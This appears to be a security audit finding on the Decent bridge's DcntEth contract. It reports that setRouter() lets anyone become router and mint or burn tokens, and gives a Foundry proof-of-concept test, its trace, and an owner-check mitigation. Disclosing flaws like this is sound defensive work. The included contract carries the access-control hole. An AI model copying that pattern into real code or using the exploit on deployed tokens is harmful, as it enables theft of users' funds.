Decent - 0xBugSlayer's results

Lines of code

github.com/decentxyz/decent-bridge/blob/main/src/DcntEth.sol?plain=1#L20-L22

Vulnerability details

Impact

The malicious user can use the setRouter() function in the DcntEth contract to set the router to himself, then mint as much tokens as he wants to himself or burn as much as he wants from other users.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {OFTV2} from "solidity-examples/token/oft/v2/OFTV2.sol";
import {Test} from "forge-std/Test.sol";
import {LzChainSetup} from "lib/forge-toolkit/src/LzChainSetup.sol";

contract DcntEth is OFTV2 {
    address public router;

    modifier onlyRouter() {
        require(msg.sender == router);
        _;
    }

    constructor(address _layerZeroEndpoint) OFTV2("Decent Eth", "DcntEth", 18, _layerZeroEndpoint) {}

    /**
     * @param _router the decentEthRouter associated with this eth
     */
    function setRouter(address _router) public {
        router = _router;
    }

    function mint(address _to, uint256 _amount) public onlyRouter {
        _mint(_to, _amount);
    }

    function burn(address _from, uint256 _amount) public onlyRouter {
        _burn(_from, _amount);
    }

    function mintByOwner(address _to, uint256 _amount) public onlyOwner {
        _mint(_to, _amount);
    }

    function burnByOwner(address _from, uint256 _amount) public onlyOwner {
        _burn(_from, _amount);
    }

    function getRouter() public view returns (address) {
        return router;
    }
}

contract Attack is Test, Script {
    DcntEth dcntEth;
    address lzEndPoint = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;

    function setUp() public {
        dcntEth = new DcntEth(lzEndPoint);
    }

    function testAtack() public returns (address) {
        dcntEth.setRouter(msg.sender);
        console.log(dcntEth.getRouter());
        assertEq(msg.sender, dcntEth.getRouter());
        return dcntEth.getRouter();
    }
}

Test Resoult

[PASS] testAtack() (gas: 33827)
Logs:
  0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38

Traces:
  [33827] Attack::testAtack()
    ├─ [22543] DcntEth::setRouter(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38])
    │   └─ ← ()
    ├─ [442] DcntEth::getRouter() [staticcall]
    │   └─ ← DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38]
    ├─ [0] console::log(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38]) [staticcall]
    │   └─ ← ()
    ├─ [442] DcntEth::getRouter() [staticcall]
    │   └─ ← DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38]
    ├─ [442] DcntEth::getRouter() [staticcall]
    │   └─ ← DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38]
    └─ ← DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38]

Tools Used

manual review

Recommended Mitigation Steps

set the owner of the contract in its constructor, and put onlyOwner modifier to the setRouter() function, so only the owner can change the router.

Assessed type

Access Control